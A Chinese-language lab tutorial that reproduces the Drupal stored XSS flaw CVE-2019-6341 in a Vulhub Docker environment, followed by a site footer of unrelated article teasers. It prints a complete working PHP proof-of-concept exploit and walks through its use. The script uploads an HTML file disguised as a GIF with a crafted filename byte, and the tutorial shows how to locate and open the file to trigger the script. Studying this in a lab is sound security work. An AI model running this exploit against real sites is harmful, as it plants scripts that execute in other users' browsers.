Drupal XSS漏洞復現：原理詳解+環境搭建+滲透實踐（CVE-2019-6341）

目錄

一、Drupal XSS漏洞

二、環境搭建

1、確保系統已安裝 Docker 和 Docker-Compose

2、下載 Vulhub

3、進入漏洞環境

4、啟動漏洞環境

5、查看環境狀態

6、初始化Drupal環境

（1）訪問 Drupal 安裝頁面

（2）完成圖形化安裝

（3）安裝成功

三、漏洞復現

1、通過PoC進行文件上傳

2、構造上傳文件URL

3、訪問上傳文件

本文詳細講解Drupal XSS漏洞（CVE-2019-6341）的原理，環境搭建以及滲透實戰。

一、Drupal XSS漏洞

CVE-2019-6341 是 Drupal 內容管理系統中存在的一個跨站腳本（XSS）漏洞，主要影響文件上傳功能，攻擊者可通過精心構造的文件觸發漏洞，執行惡意腳本。

1、漏洞簡介

條目詳情
CVE 編號CVE-2019-6341
發布日期2019年2月20日 (Drupal 核心安全公告)
漏洞類型跨站腳本攻擊 (XSS - Cross-Site Scripting)
影響組件Drupal Core -?File 模塊?/?編輯器處理
漏洞利用前提允許用戶上傳文件（尤其是文本文件）
CVSS 分數中等 (Moderate)
影響版本Drupal 8.6.x?( prior to 8.6.10)
Drupal 8.5.x?( prior to 8.5.11)
Drupal 7?( prior to 7.66)

2、漏洞原理

Drupal 的文件模塊（File module）在處理文件上傳和預覽時存在安全缺陷：當用戶上傳帶有特殊構造內容的文件（如 HTML 文件）時，Drupal 未能正確過濾文件中的惡意腳本代碼，且在某些場景下（如文件預覽、展示文件內容時）未對文件內容進行恰當的轉義處理。具體來說，攻擊者可上傳包含?<script>?等標簽的 HTML 文件，當其他用戶（如管理員）查看該文件的預覽或內容時，惡意腳本會在受害者的瀏覽器中執行，導致 XSS 攻擊。

二、環境搭建

1、確保系統已安裝 Docker 和 Docker-Compose

本文使用Vulhub復現Drupal XSS漏洞，由于Vulhub 依賴于 Docker 環境，需要確保系統中已經安裝并啟動了 Docker 服務，命令如下所示。

# 檢查 Docker 是否安裝
docker --version
docker-compose --version
# 檢查 Docker 服務狀態
sudo systemctl status docker

2、下載 Vulhub

將 Vulhub 項目克隆到本地，具體命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、進入漏洞環境

Vulhub 已經準備好現成的漏洞環境，我們只需進入對應目錄。

# 進入 Drupal CVE-2019-6341 的漏洞環境目錄
cd drupal/CVE-2019-6341

4、啟動漏洞環境

在 CVE-2019-6341 目錄下，使用 docker-compose 命令啟動環境。Vulhub 的腳本會自動從 Docker Hub 拉取預先構建好的鏡像并啟動容器。

# 在后臺啟動環境
docker-compose up -d

命令執行后，Docker 會完成以下工作：

  • 拉取一個包含?Drupal 8.5.0（受影響版本）的鏡像。

  • 啟動一個 MySQL 數據庫容器作為 Drupal 的后端。

  • 啟動 Drupal 容器，并將其 80 端口映射到你宿主機的?8080?端口（0.0.0.0:8080->80/tcp）。

5、查看環境狀態

使用 docker ps 命令確認容器啟動狀態，如下所示從返回結果中的容器名稱 cve-2019-6341_web_1 可以立即判斷，這個環境即為CVE-2019-6341的漏洞環境。

docker ps           
CONTAINER ID   IMAGE            COMMAND                  CREATED          STATUS          PORTS                                             NAMES
12647a78461b   drupal:8.5.0     "docker-php-entrypoi…"   16 seconds ago   Up 15 seconds   0.0.0.0:8080->80/tcp, :::8080->80/tcp             cve-2019-6341_web_1

字段值分析
CONTAINER ID12647a78461b容器的唯一標識符。前12位完整ID
IMAGEdrupal:8.5.0容器使用鏡像：Drupal 8.5.0
COMMAND"docker-php-entrypoi…"容器啟動時運行的命令。這里是截斷的，完整命令通常是?docker-php-entrypoint，這是 PHP 官方鏡像的入口點腳本，用于啟動 Apache 或 PHP-FPM 來運行 Drupal。
CREATED16 seconds ago容器于 16 秒前被創建。
STATUSUp 15 seconds容器已運行 15 秒，狀態健康。
PORTS0.0.0.0:8080->80/tcp?它將容器內部的?80 端口（HTTP 服務）映射到了宿主機的?8080 端口。這意味著你可以在宿主機上通過訪問?http://localhost:8080?或?http://<宿主機IP>:8080?來訪問這個 Drupal 網站。
NAMEScve-2019-6341_web_1?容器名稱明確指出了其用途：用于 CVE-2019-6341 漏洞研究。

6、初始化Drupal環境

（1）訪問 Drupal 安裝頁面

打開瀏覽器，訪問?http://IP地址:8080。以我的電腦為例，即http://192.168.59.128:8080/

直接被重定向到install的頁面，如下所示。

（2）完成圖形化安裝

你會看到 Drupal 的安裝界面。請按照以下步驟操作：

  • 選擇語言：選擇 “English” 并點擊 “Save and continue”。

  • 選擇安裝配置文件：選擇 “Standard” 然后點擊 “Save and continue”。

  • 驗證需求：環境已由 Vulhub 配置好，應全部通過，直接點擊 “Continue”。

  • 設置數據庫：這里數據庫選擇SQLite，所有數據庫連接信息已經自動配置好，你不需要做任何修改，直接點擊 “Save and continue” 即可。

  • 安裝站點：等待安裝進度條完成。

  • 配置站點：

    • Site name: 任意，

    • Site email: 任意郵箱

    • Username / Password / Email：這里設置的是管理員賬號，請務必記住（這里我選擇使用用戶?root，密碼 root）。

    • 其他設置保持默認，點擊 “Save and continue”。

（3）安裝成功

此時一個全新的、存在漏洞的 Drupal 8.5.0 站點就在本地搭建完成，如下所示。

三、漏洞復現

1、下載PoC文件

在vulhub中，已經存放好該漏洞的Poc文件，如下所示blog-poc.php即為漏洞利用的Poc腳本。

# ls       
1.png  2.png  blog-poc.php  docker-compose.yml  README.md

blog-poc.php腳本的完整內容如下所示。這個腳本的核心目標是：通過 Drupal 的用戶注冊表單中的頭像上傳功能，上傳一個被偽裝成 GIF 的 HTML 文件，從而繞過文件類型安全檢查，實現存儲型 XSS。Drupal 在處理帶有特殊編碼字符的文件名上傳時，存在解析缺陷，導致本應被識別為圖片文件（.gif）的惡意文件，其內容（包含 HTML/JS）未被正確過濾。同時，文件存儲路徑可預測，使得攻擊者能夠確定惡意文件的位置并誘導用戶訪問，最終執行跨站腳本。該漏洞的利用依賴于文件上傳驗證機制的繞過和文件名編碼處理的漏洞，結合前端頁面對上傳文件的渲染邏輯，導致 XSS 代碼被執行。

<?php
/*
usage: php poc.php <target-ip>Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/*/$host = $argv[1];
$port = $argv[2];$pk =   "GET /user/register HTTP/1.1\r\n"."Host: ".$host."\r\n"."Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"."Accept-Language: en-US,en;q=0.5\r\n"."Referer: http://".$host."/user/login\r\n"."Connection: close\r\n\r\n";$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){$out.=fread($fp,1);
}
fclose($fp);preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);$data = 
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"test324@example.com\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"<HTML>\r\n".
"       <HEAD>\r\n".
"               <SCRIPT>alert(123);</SCRIPT>\r\n".
"       </HEAD>\r\n".
"       <BODY>\r\n".
"       </BODY>\r\n".
"</HTML>\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";$pk =   "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n"."Host: ".$host."\r\n"."User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"."Accept: application/json, text/javascript, */*; q=0.01\r\n"."Accept-Language: en-US,en;q=0.5\r\n"."X-Requested-With: XMLHttpRequest\r\n"."Referer: http://" .$host. "/user/register\r\n"."Content-Length: ". strlen($data). "\r\n".$data;echo "uploading file, please wait...\n";for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){$out.=fread($fp,1);
}
fclose($fp);// echo "Got ".$i."/2 500 errors\n";
// echo $out."\n";
sleep(1);
}echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";?>

  • 獲取表單構建 ID：首先向目標站點的/user/register頁面發送 GET 請求，通過正則表達式提取頁面中form_build_id的值。這個 ID 是 Drupal 表單的重要標識，用于后續表單提交的驗證。

    preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];

    • 構造惡意文件上傳請求

      • 構造包含惡意內容的多部分表單數據（multipart/form-data），其中關鍵部分是上傳的文件名和文件內容：
        • 文件名：使用xxx\xc0.gif，這里的\xc0是 UTF-8 編碼中的一個特殊字節，利用了 Drupal 在文件名處理時的編碼解析漏洞，可能導致文件名被錯誤解析，繞過部分驗證。
        • 文件內容：包含 HTML 和 JavaScript 代碼（<SCRIPT>alert(123);</SCRIPT>），這是典型的 XSS 惡意代碼。

    • 觸發漏洞的提交方式

      • 通過 POST 請求將惡意數據提交到/user/register的特定端點（帶有element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax參數），模擬 AJAX 上傳頭像的操作。
      • 重復發送兩次請求以觸發 500 錯誤）。

    • 惡意文件的存儲與觸發：漏洞利用成功后，惡意文件會被存儲在 Drupal 的文件目錄（/var/www/html/drupal/sites/default/files/pictures/YYYY-MM）。當該文件被訪問或渲染時，其中的 JavaScript 代碼會被執行，從而觸發 XSS 攻擊。

    2、利用PoC進行文件上傳

    blog-poc.php腳本需要提供目標主機的?IP 地址?和?端口號?作為參數，命令格式如下所示。

    php blog-poc.php <目標IP> <端口號>

    以我的電腦為例，目標靶機的PoC命令為php blog-poc.php 192.168.59.128 8080，具體命令執行效果如下所示。

    這段輸出提供了關鍵信息：

    • uploading file, please wait...：

      • 表示腳本正在執行，正在向目標發送惡意請求。

    • please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM：

      • 這是一個路徑提示，告訴你惡意文件被上傳到了服務器的哪個目錄下。

      • YYYY-MM?是一個占位符，它會被實際的日期所代替，例如?2025-02（2025年2月）。

      • 這個路徑是 Drupal 默認存儲上傳圖片的目錄結構。

    3、構造上傳文件URL

    腳本成功運行后，需要手動觸發這個 XSS 漏洞。需要根據腳本輸出的路徑提示，構造完整的 URL。文件上傳的目錄格式為http://<目標IP>:<端口號>/sites/default/files/pictures/YYYY-MM/，以我的電腦為例，IP是?192.168.59.128，端口是?8080，日期文件夾是?2025-08，那么完整的 上傳路徑為下所示：

    http://192.168.59.128:8080/sites/default/files/pictures/2025-08/

    上傳的文件名按照順序被命名為_0， _1，以此類推，故而我剛剛上傳的文件為首次上傳，故而其名為_0，故而上傳腳本的URL地址如下所示。

    http://192.168.59.128:8080/sites/default/files/pictures/2025-08/_0

    4、訪問上傳文件

    訪問圖片位置，即可觸發 XSS 漏洞，如下圖所示。

    其內容如下所示，核心是一個簡單的 HTML 文件，包含了一個<script>標簽，其中的alert(123);是一段 JavaScript 代碼，執行后會在瀏覽器中彈出顯示 "123" 的對話框。

    GIF
<HTML><HEAD><SCRIPT>alert(123);</SCRIPT></HEAD><BODY></BODY>
</HTML>

    因為 Chrome、Edge 和 FireFox 瀏覽器自帶部分過濾 XSS 功能，所以驗證存在時可使用IE 瀏覽器，即可彈窗。

    本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
    如若轉載，請注明出處：http://www.pswp.cn/news/921536.shtml
    繁體地址，請注明出處：http://hk.pswp.cn/news/921536.shtml
    英文地址，請注明出處：http://en.pswp.cn/news/921536.shtml

    如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

    相關文章

    Redis復制延遲全解析:從毫秒到秒級的優化實戰指南

    Redis復制延遲全解析:從毫秒到秒級的優化實戰指南

    Redis主從延遲飆升導致數據不一致&#xff1f;訂單丟失、緩存穿透頻發&#xff1f;本文深入剖析8大復制延遲元兇&#xff0c;并提供解決方案&#xff0c;讓你的復制延遲從秒級降到毫秒級&#xff01; 一、復制延遲:分布式系統的隱形殺手 ?? 什么是復制延遲&#xff1f; 當主…
    閱讀更多...
    數據預處理與特征工程全流程指南：數據清洗、缺失值填補、類別特征編碼、特征縮放歸一化、特征選擇與降維（PCA/LDA）實戰解析

    數據預處理與特征工程全流程指南：數據清洗、缺失值填補、類別特征編碼、特征縮放歸一化、特征選擇與降維（PCA/LDA）實戰解析

    1. 數據預處理與特征工程 “數據清洗、缺失值填補、類別特征編碼、特征縮放/歸一化、特征選擇與降維&#xff08;PCA、LDA&#xff09;” 等流程&#xff0c;雖然被反復提到&#xff0c;但要在復雜的實際數據集中一步步落實&#xff0c;難度很大。 摘要 在機器學習與深度學習…
    閱讀更多...
    小迪安全v2023學習筆記（七十九講）—— 中間件安全IISApacheTomcatNginxCVE

    小迪安全v2023學習筆記（七十九講）—— 中間件安全IISApacheTomcatNginxCVE

    文章目錄前記服務攻防——第七十九天中間件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE中間件 - IIS-短文件&解析&藍屏等中間件 - Nginx-文件解析&命令執行等常見漏洞介紹漏洞復現中間件 - Apache-RCE&目錄遍歷&文件…
    閱讀更多...
    《云原生微服務治理進階：隱性風險根除與全鏈路能力構建》

    《云原生微服務治理進階：隱性風險根除與全鏈路能力構建》

    云原生微服務架構已成為企業支撐業務快速迭代的核心載體&#xff0c;但治理能力的滯后卻常常成為制約發展的短板。許多企業在完成服務容器化、部署自動化后&#xff0c;便陷入了“架構先進但治理粗放”的困境—服務數量激增導致依賴關系失控&#xff0c;流量波動加劇引發資源配…
    閱讀更多...
    因泰立科技：用激光雷達重塑智能工廠物流生態

    因泰立科技：用激光雷達重塑智能工廠物流生態

    應對AGV碰撞困局——激光雷達如何重塑智能工廠物流在現代化工廠中&#xff0c;AGV&#xff08;自動引導車&#xff09;與移動機器人已成為提升生產效率的重要設備。然而&#xff0c;這些智能設備在忙碌的工廠環境中&#xff0c;卻時常面臨碰撞的困擾。這不僅影響了生產效率&…
    閱讀更多...
    Remove.bg：精準自動摳圖工具，高效解決圖片去背景需求

    Remove.bg：精準自動摳圖工具，高效解決圖片去背景需求

    有沒有做設計時被 “摳圖去背景” 搞到崩潰的朋友&#xff1f;上次小索奇幫同事做活動海報&#xff0c;要把人物圖從復雜背景里摳出來&#xff0c;用 PS 選了半天鋼筆工具&#xff0c;頭發絲還是漏一塊缺一塊&#xff0c;折騰半小時都沒弄好 —— 后來被設計圈的朋友安利了 Rem…
    閱讀更多...
    功率器件固晶挑戰：抗高溫翹曲治具提升IGBT焊接強度30%

    功率器件固晶挑戰：抗高溫翹曲治具提升IGBT焊接強度30%

    功率器件封裝新突破&#xff1a;耐高溫防變形工裝助力IGBT模塊焊接強度提升30%在功率半導體封裝領域&#xff0c;IGBT模塊的芯片貼裝工藝正面臨嚴峻挑戰。隨著功率密度不斷提升&#xff0c;傳統固晶工裝在高溫環境下易發生形變&#xff0c;導致焊接層產生空洞、裂紋等缺陷。最新…
    閱讀更多...
    MATLAB可以實現的各種智能算法

    MATLAB可以實現的各種智能算法

    MATLAB可以實現的各種智能算法(包括但不限于)中文名稱英文全稱縮寫出現年份算法來由&#xff08;靈感來源&#xff09;遺傳算法Genetic AlgorithmGA1975模擬達爾文生物進化論的自然選擇和遺傳學機理&#xff08;選擇、交叉、變異&#xff09;粒子群優化算法Particle Swarm Opti…
    閱讀更多...
    【iOS】push,pop和present,dismiss

    【iOS】push,pop和present,dismiss

    文章目錄前言push和poppresent和dismiss基本方法屬性說明常見的用法運行演示push和present區別前言 在之前的學習中&#xff0c;我們發現iOS有兩種用于推出新界面的常用方法&#xff0c;分別是push和present&#xff0c;但是二者存在很多區別 present只能返回自己的上一級視圖…
    閱讀更多...
    編寫后端JAR包藍綠發布腳本

    編寫后端JAR包藍綠發布腳本

    前端發布腳本的功能 保留每一個發布版本&#xff0c;防止新版本異常&#xff0c;方便回撤用戶無感知&#xff0c;防止發布過程中的宕機 原理&#xff1a; 發布的JAR包只是一個軟連接&#xff0c;新的JAR啟動正常后&#xff0c;切換軟連接指向即可。藍綠JAR包綁定端口不同&…
    閱讀更多...
    Kafka 和 RabbitMQ的選擇

    Kafka 和 RabbitMQ的選擇

    h5打開以查看 選擇 Kafka 還是 RabbitMQ&#xff08;或其他傳統消息隊列&#xff09;并不是一個誰比誰更好的問題&#xff0c;而是 “哪種工具更適合你的特定場景” 的問題。 它們的設計哲學、核心架構和目標用例有根本性的不同。簡單來說&#xff1a; RabbitMQ 是一個消息代理…
    閱讀更多...
    LeetCode 刷題【66. 加一、67. 二進制求和】

    LeetCode 刷題【66. 加一、67. 二進制求和】

    66. 加一 自己做 解&#xff1a;逢十進位 class Solution { public:vector<int> plusOne(vector<int>& digits) {int add 1; //進位vector<int> res(digits.size() 1); //防止多一位的情況&#xff1a;9 1 10for(int i (int)digits…
    閱讀更多...
    《MATLAB 批量把振動 CSV（含中文“序號/采樣頻率”）穩健轉成 .mat：自動解析+統一換算+按 H/I/O/F-rpm-fs-load 命名》

    《MATLAB 批量把振動 CSV（含中文“序號/采樣頻率”）穩健轉成 .mat：自動解析+統一換算+按 H/I/O/F-rpm-fs-load 命名》

    一文搞定&#xff1a;批量把中文頭信息的 CSV&#xff08;含“序號/采樣頻率”等&#xff09;穩健轉成 .mat&#xff0c;并按規則重命名&#xff08;H/I/O/F-rpm-fs-load&#xff09;1. 項目背景 在振動/故障診斷采集里&#xff0c;我們經常得到一批 CSV 文件&#xff0c;文件名…
    閱讀更多...
    Unity與硬件交互終極指南：從Arduino到自定義USB設備

    Unity與硬件交互終極指南：從Arduino到自定義USB設備

    這篇教程將遵循“是什么-為什么-怎么做”的結構，從宏觀思路講起，再深入到具體的技術實現，并附上可以直接使用的詳細代碼和注釋，確保不同水平的讀者都能從中受益。 前言：當虛擬照進現實 在游戲開發和交互設計的世界里，我們常常滿足于鍵盤、鼠標和手柄。但當你想要創造真正…
    閱讀更多...
    Tomcat 日志文件名的命名規范

    Tomcat 日志文件名的命名規范

    1. 核心日志類型及命名規范 (1) Catalina 日志&#xff08;引擎級日志&#xff09; 文件名&#xff1a;catalina.<yyyy-MM-dd>.log說明&#xff1a;記錄 Tomcat 啟動、關閉、嚴重錯誤等全局事件。示例&#xff1a;catalina.2025-09-07.log (2) Access 日志&#xff08;訪…
    閱讀更多...
    .vsdx文件轉pdf、word、ppt等文件在線分享（免費版）

    .vsdx文件轉pdf、word、ppt等文件在線分享（免費版）

    網址如下&#xff1a; https://www.easeconvert.com/visio-to-pdf/ 只需要把.vsdx文件放到網址中即可
    閱讀更多...
    如何在Docker容器之間進行通信？

    如何在Docker容器之間進行通信？

    目錄 1. 使用 Docker 網絡（推薦） 步驟： 特點： 2. 端口映射（主機中轉） 步驟： 特點： 3. 使用 link（不推薦，已過時） 4. 跨主機容器通信 總結 在 Docker 中，容器之間的通信可以通過多種方式實現，選擇哪種方式取決于你的具體需求（如網絡隔離性、跨主機通信等…
    閱讀更多...
    從 “Hello AI” 到企業級應用：Spring AI 如何重塑 Java 生態的 AI 開發

    從 “Hello AI” 到企業級應用：Spring AI 如何重塑 Java 生態的 AI 開發

    &#x1f525;個人主頁&#xff1a;草莓熊Lotso &#x1f3ac;作者簡介&#xff1a;C研發方向學習者 &#x1f4d6;個人專欄&#xff1a; 《C語言》 《數據結構與算法》《C語言刷題集》《Leetcode刷題指南》 ??人生格言&#xff1a;生活是默默的堅持&#xff0c;毅力是永久的…
    閱讀更多...
    震驚！僅用10張照片就能隨意編輯3D人臉？韓國KAIST最新黑科技FFaceNeRF解析！

    震驚！僅用10張照片就能隨意編輯3D人臉？韓國KAIST最新黑科技FFaceNeRF解析！

    FFaceNeRF模塊 論文《FFaceNeRF: Few-shot Face Editing in Neural Radiance Fields》 深度交流Q裙&#xff1a;1051849847 全網同名 【大嘴帶你水論文】 B站定時發布詳細講解視頻 視頻地址&#xff0c;點擊查看論文詳細講解&#xff0c;每日更新&#xff1a; https://b23.t…
    閱讀更多...
    spring-ai-alibaba-deepresearch 學習（十四）——CoderNode

    spring-ai-alibaba-deepresearch 學習（十四）——CoderNode

    本篇為spring-ai-alibaba學習系列第四十篇前面介紹 ParalellExecutorNode 會為后續的 m 個 CoderNode 分配任務現在來看一下處理型任務的處理節點 coder_{i}該類節點主要負責執行一些操作&#xff0c;例如執行python代碼、調用mcp等提示詞以下是該文檔的中文翻譯&#xff1a;--…
    閱讀更多...
    最新文章

    Copyright @ 2022~2023